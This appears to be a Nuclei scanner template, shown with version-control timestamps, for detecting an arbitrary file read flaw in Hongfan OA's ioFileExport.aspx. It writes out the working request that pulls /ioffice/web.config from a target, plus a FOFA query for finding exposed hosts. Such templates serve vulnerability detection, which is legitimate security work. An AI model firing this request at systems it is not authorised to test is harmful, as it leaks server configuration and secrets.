2023-08-18 14:43:08 +00:00
|
|
|
id: hongfan-ioffice-lfi
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Hongfan OA ioFileExport.aspx - Arbitrary File Read
|
|
|
|
author: SleepingBag945
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
Arbitrary File Read vulnerability in the Hongfan OA ioFileExport.aspx file, through which an attacker can obtain sensitive server information
|
|
|
|
reference:
|
|
|
|
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E7%BA%A2%E5%B8%86OA/%E7%BA%A2%E5%B8%86OA%20ioFileExport.aspx%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
|
|
|
|
- https://github.com/qingchenhh/qc_poc/blob/main/Goby/ioffice_file_read.go
|
|
|
|
metadata:
|
2023-10-14 11:27:55 +00:00
|
|
|
verified: true
|
2023-08-18 14:43:08 +00:00
|
|
|
max-request: 1
|
|
|
|
fofa-query: app="红帆-ioffice"
|
|
|
|
tags: hongfan,lfi
|
|
|
|
variables:
|
|
|
|
filename: "{{rand_base(5)}}"
|
|
|
|
|
|
|
|
http:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/ioffice/prg/set/iocom/ioFileExport.aspx?url=/ioffice/web.config&filename={{filename}}.txt&ContentType=application/octet-stream"
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'status_code == 200'
|
|
|
|
- 'contains(body, "configSection") && contains(body, "iOfficeUpload")'
|
|
|
|
- 'contains(header, "application/octet-stream")'
|
|
|
|
condition: and
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4b0a00483046022100cea1609cd57a6a1abfc6f83c8dc7c538a1554a1b70e4933a3d71367bd90c16b9022100fddd826b93f0713701ed25f31b636de4ef7f8ed94ea29ffbc3591c6825e5090d:922c64590222798bb761d5b6d8e72950
|